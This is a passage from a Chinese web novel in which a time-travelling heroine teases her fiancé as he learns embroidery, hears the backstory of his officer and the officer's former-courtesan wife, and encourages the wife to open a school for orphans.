猝不及防懵逼的叶绒:???
这话题跳跃度太快了,她一时有些傻眼。
“这里不仅有成衣布匹,还针线俱全,甚至于连新手学刺绣的东西,都备得很整齐,我想买些针线布匹带回去,先练练手。”
“你喜欢什么颜色的手帕?”
男人再度开口问了一遍。
明白了他意思的叶绒:“……”
这么自信的吗?
还没上手开始学呢,就已经准备给她绣上一条手帕了。
这可真是——
Emmm……
女人的第六感告诉叶绒,眼前这人,很有可能会被打脸。
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第一百三十五章 想看他出丑?
当然,谢某人以后,具体什么时候会翻车,叶绒不知道。
此时的叶绒,只是一脸懵逼的看着,谢某人仿若熟手一样,在老板娘的介绍下,轻车熟路的挑了一些针线布匹。
叶绒:“!!!”
这什么个情况?
不经意间一个转眼,和正在做生意的老板娘对上目光,老板娘什么都没说,只默默给了她一个佩服的眼神。
叶绒回以一个尴尬而又不失礼貌的笑容。
“没看出来啊,你竟然是内秀的存在!”
猝不及防,听到蔷薇这话,叶绒愣了一下。
她、内秀?
因着家里情况的缘故,对眼前这一幕代表了什么,非常理解的蔷薇,直接转头给了身后站着的叶守武一个眼神。
和自家媳妇默契满分的男人秒懂。
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叶守武直接上前,一边帮自家老大挑选针线,一边争分夺秒的在老板娘说话的空隙,给他传授一些新手的经验。
身为一个同样从零开始,经过短短几年的勤学苦练之后,现在绣的荷包手帕之类的东西,媳妇已经能看得上眼,甚至于偶尔出门的时候,还会佩戴,叶守武的进步堪称飞速。
毫不夸张地说,他就是被练武耽误了的绣爹!
于是,冰天雪地中,一家老板娘忙碌的热火朝天的成衣店里,发生了堪称奇怪的一幕。
往常,身为一家之主的男人,在忙碌了过往的春夏秋三季之后,在冬季,本应是老婆孩子热炕头,享受松快的存在。
而彼时,这家奇怪的成衣店里,两位一看就知道是当家作主的男人,此时竟然在讨论衣服的花色!
就——
给人一种特别别扭的感觉。
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倘若让叶绒来找一个形容词的话,她会用人设颠倒这四个大字来形容眼前的画面。
“你是怎么让他觉醒这种意识的?”
蔷薇说着,朝站在她夫君身旁的男人那里,使了个眼色。
她的眼神太过于通俗易懂了,以至于叶绒就是想装没看懂,都做不到。
“Emmm……”
倘若她说,她什么都没干,谢某人就自觉改变,变成了这般模样,会不会显得他太掉价了?
最终,为了谢某人在手下面前的面子着想,叶绒考虑了好一会儿之后,选择了装傻充愣。
她假装自己短暂性耳聋了,目不转睛的看着,在一众不同大小,颜色迥异的针线之间,来回挑选的男人。
“——”
决定了,就冲着谢某人这股认真好学的劲儿,她要身体力行的支持一下。
——买单!
她必须要买单!
作为他学习的动力,学会之后的受益人,这单她要是不买,简直都说不过去!
于是……
谢阔挑选好东西之后,一手拎着自己的学习工具,一手拿着门店打包好的叶绒的衣服,一声不吭的站在叶绒身旁,默默的等着她付钱。
看男人这般淡定自若,没有一点不自在的样子,完全误会了,想岔了的蔷薇,看看他,又看看在他身旁站着的男人……
蔷薇默默在心里,做下了一个决定。
夫君既然那么崇拜少将军,那想来,是非常乐意上行下效的吧?
她先前总觉得,男人出门在外,应该给足了他面子,以至于因此,她给他的零用钱,从来都是只多不少的。
但现在看来,完全没这个必要!
彼时的叶绒并不知道,自己在不经意间,坑了便宜大伯一把。
同样的不知道自己被坑了的叶守武,看看付钱的叶绒,又看看心安理得的吃软饭的谢阔,妇唱夫随,和自家媳妇想到了一起的叶守武,“……”
果然,幸福都是对比出来的。
和身旁被管的严严实实的,出门在外,手头上连一分钱都没有的老大相比,他媳妇对他,真是太好了!
虽然他回家之后,要自己做饭,扫地倒水,还要缝缝补补,所有家务活一把手包了,但最起码,他有零花钱拿啊!
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昂首
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谢阔:“……”
他们夫妻两人的表情变化细微,单看可能看不出什么来,但两人表情放到一起,再结合一下现在的场景,谢阔几乎都能把他们二人的心里活动给推理出来。
疑惑,震惊,理解,恍然大悟,再配上叶守武眼中若有似无的优越感,并上一些行为举止之间的同情唏嘘,谢阔:“……”
名声这种东西,毁了一次就有第二次,次数多了,毁着毁着,脸皮就厚了的谢某人,对此已经不像先前那么在意了。
而且,他们的猜测其实从某方面来说也是正确的。
毕竟,他的家底早就已经换成金银,预备送给叶绒了。
现在,表面上看起来,谢府还光鲜亮丽的,实际上他和他父亲现在都是货真价实的穷光蛋。
但穷归穷,吃软饭归吃软饭,他给她的钱,他绝不接受,她花在他情敌身上,给他情敌买玉镯玉簪之类的东西。
这是他的底线!
他谢阔行军打仗多年,心肝黑的透透的,什么都干,但绝对不做资敌的事情。
想到这里,谢阔看叶守武一眼,顿时,本就笔直的腰板又挺了挺,显得整个人更加气宇轩昂的,刹是引人注目。
甫一结完账回头,看到男人这般模样,叶绒:“……”
真希望学完女红之后,他还是这般自信的模样。
叶绒那是想了又想,脑海里无论如何,都具现化不出来,谢某人一针一线缝制荷包手帕之类的画面。
“……”
她回头一定要好好的看一下,他学习刺绣的过程!
方便若干年之后,和身边人吹嘘的时候,能说的更真情实感些。
抱着这种念头,在和谢某人侧敲旁击了一下之后,晓得他当机立断,决定从明天开始,就为了掌握一门新技能,而努力学习的时候,叶绒兴致勃勃的决定,她明天要跟着早起。
听到她话的谢阔:“……”
男人皮笑肉不笑扯扯唇角,“你闲着没事过来看什么?”
看他出丑,她就这么开心吗?
第一百三十六章 渴望
叶绒嘿嘿一笑,不好意思暴露真正目的的她道:“我跟着你一起看看,学习……下、理论知识,说不定以后还能用到呢!”
叶绒学习两个字刚一出口,男人眼睛顿时就亮的惊人,吓得她后面的话,差点都没能说出来。
谢阔:“……”
想看他笑话就直说,不用说的那么委婉,害他白期待一场!
叶绒想的很美好,怎奈何,第二天一大早,她还是起晚了。
Emmm……
哪怕叶绒已经特意调整了自己的作息时间,和往常比起来,早睡早起了一个多时辰的功夫,但等她到谢某人学习的房间的时候,教导他的嬷嬷,已经离开了,只剩下他自己一个人,独自在绣房里练习。
完全没看到谢新手,拿起针线时,出丑过程的叶绒:“……”
可惜了。
但机会只此一次,错过就再也没有了。
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正当叶绒遗憾叹气的时候,只见一本正经的绣着不知名花样的手帕的男人,在绣绷上穿针走线的时候,突然翘起了兰花指。
叶绒:?!?!?!
目瞪狗呆.jpg
叶绒眼睁睁看着谢某人,捏着在他手中细的几乎完全没有存在感的针,在他乌黑如墨的发髻上,刮蹭了两下。
叶绒瞳孔微缩,睁圆了眼睛。
这即视感……
有慈母手中线那味儿了。
倘若他再来个男扮女装的话,就冲他现在这般行径,绝对没人会怀疑他**的。
包被骗到!
她保证。
“看是看不会的,不如你一起过来,上手练练?”
看叶绒不知脑补了什么,强忍笑容,忍的脸色都扭曲的模样,男人声音凉凉的开口。
叶绒:“诶嘿嘿嘿……”
笑的甚是**的少女走进绣房,“这要是打扰到你学习进度的话,那多不好意思啊,上手就不用了,你要是觉得无聊的话,我可以过来陪你说说话。”
她一边说着征求人意见的话,一边走进房间,随手捞了个小板凳,坐到了男人身旁。
看他一边锲而不舍穿针走线,一边拆线倒扣进程的模样,叶绒脸上表情那叫一个一本正经。
不经意间和男人对上视线,她还开口安慰,“新手都是这样的,你能在手帕上绣出东西来,就已经非常厉害了,加油!”
男人听到她的话,什么都没说,只默默的重复了一下她刚刚进来时的动作。
看他一边翘兰花指,一边拿针摩擦头皮的模样,叶绒坐在男人身旁凑近了细看,才发现他这一动作,分外的僵硬不自然。
啊、这……
好家伙,她刚刚还以为,他已经觉醒了体内的刺绣之魂,才会自然而然的那么做呢,感情那全是她脑补啊!
Emmm……
如果是这样的话,那她就理解不了,他这番刻意的行为为何了。
秉承着不懂就问的原则,叶绒问出了心里话。
男人听到她的话,默默看她一眼,又沉默了小片刻,组织了一下语言,方才开口解释。
“我以前看母亲绣花样的时候,她经常这么干,然后绣出来的手帕,就很精致。”
谢阔琢磨着,他绣出来的东西,之所以是个丑了吧唧的四不像,可能是因为缺少了这一重要步骤。
想到这里,他忧愁的叹了口气。
“我已经按教学嬷嬷说的做了,也把过往看着母亲做女红时,学到的经验,全都融入到了实践中,为什么绣出来的东西,还是和母亲的相差甚远?”
这着实是一件,让人想不通的事情。
看他一脸苦恼,叶绒:“……”
就算是速成班,也讲究一个循序渐进的过程啊!
他连剪纸花样都没学呢,配色也没个经验,两眼一抹黑,就敢听了人家教学嬷嬷一节理论课之后,直接上手,大胆实操,她是该说他虎呢,还是该说他虎呢?
叶绒不信,刚刚离开没多久的教**嬷嬷,没给他说明这一道理。
摆明了是人家说人家的,他干他的,这能学会了,才有鬼了!
当然,有鉴于她是过来看笑
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话的缘故,叶绒并没有着重和谢某人强调,无论学习什么,学习哪方面的东西,都要提前打好地基的重要性。
作为让谢某人变成现在这般模样的罪魁祸首,叶绒既没敢明目张胆的笑,也没敢明目张胆的来到这里之后,就啥都不干,只看他学习刺绣。
叶绒打定主意,边看边陪聊,在有限的空间里,发挥出无限的情感价值。
这般想着,她看着苦恼的男人,心里笑嘻嘻,面上感同身受的安慰道:“没事,你才刚开始练习,什么都不习惯,能用手帕绣出来东西就好了。”
叶绒说话的同时,视线挪到了男人正在绣着的东西上。
看着绣绷上,那黑乎乎的一团,支棱着几个角的不知名物什,叶绒盲猜了一波。
“你这乌鸦绣得蛮好的,黑乎乎的一团,蛮形象的。”
看着就给人一种,很掉san值的感觉!
谢阔:“……”
他回以一个一言难尽的眼神,好半响才憋出一句,“我秀的是墨竹。”
叶绒:“……”
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她赶紧想办法描补。
“那啥,我昨天逛完街,回来想事情的时候,想太久了,入睡太晚,起得太早,以至于精神有些恍惚,说错了话,你别太在意哈。我心里想的是竹子,只是说出来的时候,就莫名其妙变成了别的东西,嘿嘿……”
谢阔:“……”
她这解释,还不如不解释。
当**,她昨晚比平常入睡的还早吗?
男人皮笑肉不笑扯扯唇角,假装没被她当心一箭射中。
想到昨天的漂亮伯母,叶绒没话找话,“你不是想把苏参将当成守边关的心腹培养吗?那你对他以前的事情,肯定很了解吧?”
看着又开始关心隔壁人家的少女,谢阔不情不愿点了下头。
得到肯定答复,叶绒顿时来劲儿了。
“你能给我讲一下,叶参将和他妻子之间的爱情故事吗?”
叶绒脸上写满了想吃瓜的渴望。
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第一百三十七章 他洁癖
叶绒当真是好奇叶守武和蔷薇之间的故事的。
她侧敲旁击过,知道她便宜大伯并非一妻多妾不说,而且他都快到不惑之年了,还膝下无子。
礼记讲,不孝有三,无后为大;甚至于还有不少清贵世家家规明令,男子四十无子,需纳妾延续香火。
远的不说,犹记得,她刚来这里的时候,在怀县时,就有人家穷得都要饿**,还生了那么多孩子。
由此可见,古人对子嗣有多么重视。
在这种情况下,她便宜大伯至今未有子息,还和漂亮伯母感情那么好,十有**已经打定主意,要让自个儿的血脉传承断在这里了。
真该让现代那些骗婚的同性恋渣渣们来他家看看——
这才是担当!
讲真,就冲着这一点,倘若以她便宜大伯为主角写上一本小说的话,这书在古代铁定火到爆卖!
这么前途光明且宠媳妇的男人,简直是闺阁少女完美丈夫的最佳yy对象啊!
就是吧——
在这个世界,在女主是他们便宜侄女的情况下,他们夫妻连背景板都不是。
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看着因为不能深入吃瓜,很是惋惜的叶绒,正专注手上事宜的男人,当即心生警惕。
“好端端的,你打听这个做什么?”
该不会——
她喜欢人蔷薇的美色,欣赏叶守武敢于和家族翻脸的魄力,所以把人夫妻俩都给看上了吧?
说好的只追求一生一世一双人呢?
越脑补越觉得自己没想错的谢阔:“……”
警惕异性来挖他墙角,就已经有够让人憋屈的了,怎么连带着同性,也要防备了啊?
谢阔看看自己手上针线,又看看在他身旁坐着的少女,就那么默不作声的看着……
“……”
男人眼神实在太过于哀怨了,在他这般眼神注视下,叶绒没一会儿就撑不住缴械投降了。
“你别乱想,好不好?”
好端端一个大男人,整的跟深闺怨夫似的,她看着鸡皮疙瘩都要起来了。
“你不觉得他们之间的情谊很吸引人吗?我就是想知道一下,他们是怎么相识相知相爱相依的。”
这样,以后回到现代,她什么时候对爱情失望的时候,还能回忆一下这对有情人的感情经历,给自己鼓鼓气,相信人间有真情。
要是一不小心遇上渣男的话,还能再接再厉,在追求真爱的路上,鼓足了劲儿继续往前走。
并不知道她内心想法的谢阔,仔细看了看叶绒脸色。
看她当真没有别的荒唐想法,男人沉吟片刻,最终选择了相信她这一次。
“他们之间没什么好说的。”
真相并非她想象的那般美好。
叶绒脸上写满了不认同,对他的话,表示了深切的不相信。
但她嘴上却没说出来,而是道了句。
“那你长话短说一下,让我听听?”
看她这般不死心,谢阔决定满足她。
他沉吟片刻,组织了下语言,隐去其中的血腥算计之类的事情后,又稍微用言语包装一番,采用了下春秋笔法,方才开口。
“叶参将本是雍州人士,少年意气初出茅庐时,他和一群朋友包船游湖,认识了青楼出身,正在挂牌拍卖初夜的夫人。然后他对其夫人一见钟情,直接大手笔砸钱把人包下了一段时间,之后两人日久生情,叶参将便给他夫人赎身,把人纳回了家里,久而久之又经过一些事情之后,两人情意更浓,他拒了家里安排的婚事,和家族闹翻,提妾为妻,投奔到了我这里。”
叶绒看着把话说的那叫一个轻描淡写的男人,虽然猜到了他避重就轻了一些事情,但却没多想,只开口问出了心中疑惑。
“那他们两人怎么到现在都没有孩子啊?”
她看他们身体都蛮健康的,难不成只是单纯的缘分没到?
看她疑惑,谢阔:“……”
怪他,说的太委婉了。
虽然但是——
既然眼前人没有意识到,叶夫人在花楼里被老鸨当成摇钱树绝了子息,那他也不好多说,不然,她冷不丁来上一句:你了解这么清楚,去花楼玩过?
那他就尴尬了
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毕竟,他先前为了凑粮,还真跟着不少商户和世家子弟去喝过花酒,只不过最后他都用要守孝,拒了那些风尘女子的近身。
至于守完母孝之后?
刚刚好——
她来了。
有她这么个散粮童女在,他哪儿还用和以前一样,为了五斗米,强忍着心里的洁癖,去那种腌臜地方谈生意?!
由于个中缘由不好多说,谢阔斟酌了下,最终美化再三,选择了一个叶绒能接受的说法。
“叶参将他们找大夫看过,缘分未到,这种事情急不来。”
毕竟,他们再怎么着急,这辈子都没有子嗣缘了。
得到确切答复,叶绒没有多想,就直接信了。
完事后,叶绒陷入了沉思。
就是吧——
叶绒觉得,她以后没事儿的时候,可以去漂亮伯母那里多转转,顺带找她取取经,学学怎么调教出一个合心意的伴侣。
单从她自身来说,这能耐,学到就是赚到,而且还能受用一生。
值!
而且,别的不说,倘若是在现代的话,漂亮伯母要是肯出她拿下便宜大伯的详细教程的话,那铁定有很多人,花大价钱争相买课。
毕竟,她便宜大伯搁现代,可是妥妥的富n代官n代,自个儿还有权有势的那种。
蔷薇能把这种男权社会出身的世家子弟,调教成现在这般的三好老公,她那手段可想而知。
Emmm……
洒家要是学会了,这辈子就值了!
如果从长远角度来看的话,那——
她要是把蔷薇教的调教男人n步骤学会了,完了回到现代之后,网上授课,传授给广大同胞们的话……
现代女人,要是学会了她的招数,恐怕这世上,就要少很多不愿意结婚的人了,那他们国家人口出生率,不得蹭蹭往上涨!
只稍微这么一想,叶绒就乐了。
这妥妥的是送上门来的大功德啊!
Emmm……
越想越激动,越激动越坐不住的叶绒决定,心动不如行动!
第一百三十八章 佩服
谢阔看着听完他三言两语的讲述之后,跟打了鸡血似的,兴奋的不要不要的叶绒,表情复杂。
呵呵.jpg
又是为两人之间代沟太深,而懊恼的一天呢!
可惜了。
虽然很想剖开身边人的脑袋瓜子,看看她到底在想什么乱七八糟的玩意儿,但谢阔最终还是忍住了手痒。
不行,近墨者黑!
万一他被她脑子里的废料传染了,智商直线下降的话,那以后,他们的下一代就没救了。
Emmm……
叶绒并不知道谢某人内心的纠结,在内心做下了决定之后,她没一会儿的功夫,就直接随便找了个理由当借口,离开了绣房,抛弃了苦苦练习新技能的男人,转身投向了学习的怀抱。
当然,临出门之前,叶绒没忘了给自己来个改头换面的化妆术。
所幸她今天起得早,等收拾好自己,准备出门的时候,叶绒一看手机,嗯……
才将将到她往常吃早饭的时间!
叶绒正这么想着,她的房间门,就被人敲响了。
“进。”
叶绒猝不及防一声喊,一婆子就用托盘端着一碗她分外眼熟的药粥,推门走了进来。
四目相对,叶绒:“……”
“小姐,您该喝、吃饭了。”
Emmm……
她刚刚是想说,喝药吧?
想到药粥的味道,叶绒表情扭曲了一瞬。
这玩意儿,喊它一声粥,那当真是太抬举它了。
呕!!!
虽然很难受,想想药粥味道就反胃,但因为接下来还有重要的事情要做,叶绒索性没再犯拖延症,不等人催促,她直接端起药粥,屏气捏鼻,仰头一灌。
“——”
叶绒干脆利落,一鼓作气的,搞定了今日份早餐。
等她速战速决完之后,来到隔壁院子里的时候,偌大的院子里,只有蔷薇一人在。
看她坐在屋檐下的桌案旁,静谧看书的模样,有那么一瞬间,叶绒以为自己看到了江南烟雨中,那朦胧的美人。
多情、温婉、妩媚动人,就连垂眸时的侧影,都那么的让人无法移开目光。
倘若,她自个儿的美,用妖娆来形容的话,初见时,会给人猝不及防的震撼,但见的久了,却会对她的容貌产生免疫力;但这种事情,在蔷薇身上,却全然不会发生。
蔷薇的容貌,没有丝毫侵略性,但却极其的引人沉沦,配上她身上那股气质,倘若谁和她待久了,不慎沦为她看重的目标的话,那定然是无法逃脱的!
像她便宜大伯。
Emmm……
这么一想,叶绒突然觉得,自己白来了。
毕竟,画人画皮难画骨,同样的 ,她就是把蔷薇言语传授的东西,逐字逐句的背个滚瓜烂熟,恐怕也没用。
毕竟,哪怕现代整容技术发达,但就是是能整出来和她一模一样的面容,也整不出来她这身独特的,外人模仿不来的气质啊!
失策.jpg
叶绒想虽然是这么想的,但秉承着贼不走空……啊、呸、那什么,来都来了,绝不能空手而归的念头,她还是硬着头皮进来了。
就——
哪怕只能学个表皮也成啊!
好歹能有所收获,日后说不定也能用上。
看叶绒进来,蔷薇有些吃惊,“你怎的来了?”
他们已经搬到隔壁,打着他们亲戚的名义住了好几天了。
按常理来说,他们搬过来的第二日,两家就该相互走动起来了,但眼前人一直没来拜访,隔壁也没传来音讯允她过去走动,她本以为,是眼前少女知道了她的出身,有所嫌弃,故而哪怕叶守武经常去隔壁,她也从未跟着去过,只权当两家主事女子之间,心照不宣的避讳。
昨日逛街时,她那般待她,她还以为,她只是做个表面功夫,不让两家男人难做罢了。
万万没想到,叶绒今日,竟然直接登门来了?!
叶绒听到蔷薇的问话,倒是没多想,俗话说,伸手不打笑脸人。
奔着求学目的来的叶绒,话未出口,脸上就已经带上了笑意。
“我前几天刚搬来边城,对这边有些水土不服,这两天刚适应了些,就想着出门走动走动,来和你闲话家常一下,蔷薇姐姐不会赶我走吧?”
听她这番话,蔷薇:“……”
倘若,昨日她没见过,眼前人和那个让她夫君恭敬有加的男人,不知道他们之间的相处方式的话,她怕不是要以为,这又是一个不请自来的,伏地做小的,妄图加入他们家的人了。
“小姐说笑了。”
想归这么想,蔷薇没敢让叶绒的话掉到地上,开口自带七分熟稔,减轻了不少她的拘谨。
“嘿嘿嘿……”
叶绒看了一眼,她手不释卷拿着的论语,只稍微看了一眼封皮上那两个大字,她就觉得,自个儿脑壳疼。
Emmm……
初高中时,背语文课文的痛苦记忆,情不自禁浮现了出来。
叶绒下意识的,把视线重新放到了漂亮伯母的温柔面容上,她屏气黑暗过往,回忆了下,时隔多年,至今尚还有些印象的一些子曰,亦此为话题,和蔷薇寒暄了起来……
叶绒甫一开口,蔷薇就惊了下。
她过往参加宴会时,和不少女眷们聊过不少话题,但从来没有哪一个女人,以论语起话,和她讨论一些四书五经。
不得不说,这是一种非常新奇的体验。
当然,鉴于某些原因,蔷薇和叶绒说话的时候,不动声色的倒扣着,放下了手中的书册……
叶绒并没有关注这一点,话题打开之后,为了避免黔驴技穷,她集中注意力,很快就和蔷薇从说着论语,过渡到探讨人生哲理上来了,之后,叶绒就开始图穷匕见 了
“冬天无事可做,姐姐平常在家里,都和你丈夫做些什么呀?”
她都是成年人了,没什么不能听的,所以——
放心大胆的说吧!
蔷薇听到她的话,微微一笑,“倒也没做什么,没事的时候,我会看看书,亦或者去慈幼局那边,教教那里的孩子们认识几个字;如果夫君在家的话,他没事的时候,也会和我一起去慈幼局那边。”
叶绒:?!?!?!
第一百三十九章 可以吗?
听到蔷薇的话,叶绒:“……”
这是她完全没想到的回答。
就——
她以为,她在和蔷薇聊一些让人小脸通黄的话题,结果万万没想到,她俩压根不在一个层面上。
Emmm……
这波,属实让她有些无法接话。
最终,卡了会儿壳之后,叶绒默默对蔷薇竖起了大拇指,“尔乃人杰也!”
她生平最佩服的,便是她这种把达则兼济天下,穷则独善其身,奉为圭臬执行的人!
关键是,她还真都做到了!
一个字,牛!
叶绒脸上写满了真心实意的敬佩,蔷薇仔细看了会儿,发现她不是在反讽之后,她脸上也露出了一抹浅浅的笑意……
似一抹春芽,在白雪皑皑中绽放出了盎然生机,很浅很淡,却格外的吸引人的注意力。
叶绒看着蔷薇脸上的笑容,内心小人儿,差点猥琐的,嘶哈嘶哈流口水。
姐姐美煞我也!
“慈幼局那边的孩子们都很乖巧可人,你如果喜欢孩子的话,没事的时候,可以去看看他们。”
在边城,有的妇人成婚之后,几年没有子嗣,又或者是很着急要子嗣的话,他们便会去慈幼局那边逛逛,多和那里的孩子们亲近亲近,以期自己的孩子,能来得更快一点。
她虽然不信这一点,但以前确实抱着这种想法,去过几趟慈幼局,结果去的次数多了,却是真心实意的,喜欢上了那里惹人疼爱的孩子们。
蔷薇知道,自己这辈子,是没机会要个亲生孩子了,也是因此,她把内心无处发泄的母爱,悉数都放在了慈幼局那些孩子们身上。
她人微言轻,虽然能帮到他们的地方不多,但却在尽力帮他们读书明智识理,以盼他们未来,长大成人之后,离开慈幼局独自生活的时候,能活的不那么艰辛点儿。
这是她仅有的,能给他们的帮助了。
但眼前这人不一样。
她虽不知她具体身份,却从夫君这几天只言片语透露出来的消息中知道了,她是隔壁让她夫君分外敬重的上司的未婚妻。
没什么意外的话,明年就会结婚的那种。
这般人物,哪怕手指缝里露出一点儿东西,都能让慈幼局的孩子们,未来少些坎坷,能在人生这条路上,走得更顺当一些。
孰料——
叶绒听到蔷薇说的话之后,虽然很是心动,但思索再三,还是遗憾的摇了下头。
“我就不去了。”
身为孤儿院出身的人,她当然知道,那里的孩子有多么的可怜。
哪怕身为现代人,她是被国家衣食无忧的养大的,都尚且如此;那在这个世道,那些个被家里人或无可奈何或迫不得已或冷血狠心的抛弃了,在慈幼局过活的孩子们,生活的肯定更加艰难。
毕竟,大环境在这里摆着。
叶绒敢肯定,见了那些幼小的,饱受生活折磨的孩子们之后,她肯定会心软的。
但怎奈何,她有心无力啊!
她的钱包不给力,就算再怎么想帮助他们,都没办法了。
毕竟,找谢某人卖东西这种事情,一次两次还好,次数多了,那就要惹人怀疑了!
哦、不对——
叶绒想到眼前人正在做的事情,她突然觉得,自己还是可以小小的给慈幼局那边的孩子们,提供一些帮助的。
“我前几天为了练字,买了很多笔墨纸砚。”
毕竟,差生文具多嘛!
她刚开始练字,怎么都练不好的时候,不信这个邪,没在自己身上找原因,反而觉得是她用的笔墨纸砚不太行的缘故,连换很多种。
换到最后,不信邪的她,还抛弃了那些,她为了练字专门买回来的东西,和字写得铁笔银勾,很有气势的谢某人,用起了一套笔墨纸砚写字,然后嘛……
哎!
之后的事情,不提也罢,总之这几天,那么多大字写下来,她算是又找到了一个,自己不适合在古代生活的原因。
“那些笔墨纸砚,我现在已经用不上了,刚好可以交给姐姐,你可以把它们带到慈幼局那边,给孩子们练字用。”
蔷薇:“……”
此时此刻的她,和谢阔那叫一个感同身受。
凡尔赛不可怕,可怕的是,人家当真是这么想的,口对心,心对口,没有一点其它意思。
……这就很可怕了!
这年头,笔墨纸砚那么值钱,怎么会有人认为,贫苦出身的孩子们,读书识字,应该写在纸上呢?
随便拿根棍子在地上写写画画,既能反复利用又能节省环保,这不香吗?
想虽然是这么想的,但蔷薇却没辜负叶绒一番好心。
她轻言细语道了声谢。
俗话说得好,这有来有往,才是上好的为人处事之道。
这么想着,叶绒脸上露出了一抹灿烂的笑容,她连连摆手,示意漂亮伯母不用客气。
叶绒本来想,直接开口向她请教一些调教老公的经验之谈的,怎奈何,看着漂亮伯母这般温柔娴静的模样,她的嘴张了又张,那里怎么都开不了这个口。
嘤嘤嘤.jpg
还是那句话,设身处地换位思考一下,她要是娶了她,那她肯定也和便宜大伯一样,对她那叫一个言听计从服服帖帖的。
最终,开不了那个口的叶绒,在蔷薇疑惑目光的注视下,只得顺着刚刚的话,接着说了下去。
“姐姐既然那么喜欢慈幼局的孩子们,平常没事的时候,还会教他们读书认字……”
“我观姐姐在家里,好像也没其它事情做,那你有没有考虑开个书院啊?”
蔷薇听到叶绒的话,愣了一下,她很是诧异的抬眸看向她,一脸震惊。
“这可以吗?现如今,这世道的风气,虽然不像前些年,对女子那么严苛了,允许女子在外抛头露面的。但想来,也不会接受妇道人家,开办书院,教习四书五经吧?”
蔷薇的话,说虽然是这么说的,但她内心却隐隐有些动摇。
从来没往这方面考虑过的她,听到叶绒说的话之后,感觉心跳都加快了不少。
她……可以吗?
第一百四十章 办书院?
叶绒看蔷薇一脸犹豫的样子,不甚在意的挥了挥手,压根没把她说的话,放在心上。
“姐姐也说过了,这世道,和往些年完全不一样了,那以前不能做的事情,现在当然可以做了。”
战乱年代,虽然百姓过得很苦,但相对而言,有一点却对女子而言,是有利的。
在这个男子,大都被人抓去充军,亦或者强征劳役的年代,很多人家失去了一家之主之后,整个家都是女子撑起来的。
世道乱的久了,女子当家作主的人家多了,众人生活相对以前朝不保夕食不果腹的,还时常有生命危险,那压在女子头上的那座名为男尊女卑的大山,却轻了不少。
没有封建礼教的压制,这是女子心理上最为松快的时候,只要她们想,敢打敢拼豁得出去,那她们在这个时代的成功几率,比在和平年代成功的可能性,都要翻个好几倍!
这么想着,叶绒看向听到她的话之后,眸光闪烁不定,就连呼吸都有些急促的蔷薇。
她知道,蔷薇显然是把她的话听进心里,陷入了思考状态,此时正有些举棋不定。
这么想着,叶绒又接着道了一句话。
“倘若姐姐当真有这方面想法的话,我虽然囊中羞涩,没法给你提供多少金钱上的帮助,但我可以保证,豫州谢家必然能成为你的依靠,整个豫州境内,不会有人在此事上为难你。”
叶绒这话说的,那叫一个斩钉截铁。
如果蔷薇事业发展顺利的话,乐观点想,说不定以后她的书院,还能开遍整个九州。
至于那些个可能会出来阻止的老古板?
她会让谢某人给蔷薇撑腰的,这一点完全不用在意!
况且,人人都道,当皇帝的要爱民如子。
这显然是一件为谢某人的子民好的事情,想来他应该很乐意吧?
叶绒这么想着,在心里重重点了下头。
谢阔肯定非常乐意!
不开心也得开心的那种,不然的话……
她就只能让她兄弟出马了。
要知道,在洛阳城的时候,她借着冤大头兄弟的名义,给他们送头一批粮食的时候,谢阔可是亲口当着一众人的面承诺过了,要帮她那善心的被迫破产的兄弟们,完成三件事情呢!
蔷薇看叶绒做出保证时,胸有成竹的样子,内心的天平已经完全倾斜了。
但是……
她面露为难之色,有些迟疑的开口,“我以前没办过书院,不知道这种事情,应该怎么做!”
像这种事情,想来外面那些饱读诗书,对外开班授课的夫子们,也不会把经验传授给她的。
她空有一番心力,不知道该怎么办,也是白搭的!
叶绒看出蔷薇的为难,想也不想的就开口道:“这事我有经验,你不用怕。”
她虽然没开过书院,也没在现代上过补习班,但网络上杂七杂八的知识那么多,她见识的多了,自然而然的也有些了解。
再说了,这不还有拼夕夕的吗?
为了支持蔷薇这一番壮举,她不介意,再让自己的荷包缩减缩减!
这么想着,叶绒看着蔷薇拍着胸脯保证道:“这事交给我吧,回头我整理一份详细的计划书给你参考一下,你看完之后,就知道该怎么办了。”
蔷薇听到这话,很是开心的笑了,“谢谢你。”
她替她和那些将因她此举受益的孩子们,感谢她。
“不客气……”
嘿嘿.jpg
温柔美人朝她道谢了哎!
哪怕接下来,她肉眼可见的要挑灯夜战,悄摸摸的肝上一段时间,但就冲温柔伯母这句话,叶绒觉得自己也值了!
“……”
蔷薇看叶绒这般迷糊荡漾的模样,想到她刚刚豪情万丈的,对她做下保证的姿态,她觉得,自己可能误会了她。
毕竟,叶绒和她想象中的,对她的态度,完全不一样!
这么想着,蔷薇试探着开口,“你来边城这几天,一直没出门,在家里待着,不觉得无聊吗?”
叶绒听到这话,撇了撇嘴,“还好吧。”
说不无聊那是骗鬼的,压根不可能!
“那妹妹在隔壁待着的时候,都在做什么啊?”
“嗯……我身体出了点问题,这几天一直在喝药粥,那药粥太难喝了,每次喝完整个人都要抑郁了,所以为了转移注意力,我就去书房那边练字静心去了。”
“那你这几天,一直都在书房待着,练字静心?”
“对啊!”
虽然效果不怎么好就是了,不过她也着实没想到——
刚开始用毛笔写字的时候,叶绒字写得特别的丑,谢阔还因此狠狠的嘲笑了她一番。
她很不服气。
那股倔强的劲儿上来之后,叶绒就想着一定要好好的练好字,完了让谢某人狠狠惊艳一番,来个华丽的打脸,翻身逆袭!
为了这,她在隔壁住着的那几天,别说是出门了,除了吃饭睡觉,其它时间全都用来练字了。
结果嘛——
Emmm……
打脸什么的太累了,还是躺平更适合她!
也是因此,想通了的她,昨天彻底放弃了挣扎。
然后,她就换了其他方式散心,一带三,出去逛了一整天!
蔷薇看叶绒一点都不像说谎的样子,内心哽了一下。
确认过眼神,这位在家中,一定是被娇宠的存在!
不然,不会这么的……不通人情世故。
当然,想归这么想,但蔷薇并没有把这话给说出来。
她只是看着叶绒,笑着道:“练字蛮好的,能静心凝神,修身养性。但你日后若是练字累了,觉得无聊了,可以来我这里打发打发时间。”
“你只要不嫌弃,随时可以过来。”蔷薇这么说道。
“好的。”叶绒很是爽快的就应下了。
她此番,虽然没学到调教男人的经验,但却得了她这般邀请,还给自己找到了别的有意义的事情做。
这回——
她算是来值了!
当然,最重要的是——
帮人开办书院这种事情,这是她从未接触过的领域,新的一切,新的开始,最起码在激情褪去之前,她不用担心自己再为药粥emo了。
Verygood!
第一百四十一章 计划书
“对了,你刚刚在看论语那一章节啊?”
听到叶绒的话,蔷薇:“……”
叶绒等了好半天,都没等来蔷薇的回答。
???
只是随口一问,想看看她授课水平怎么样的叶绒懵逼了。
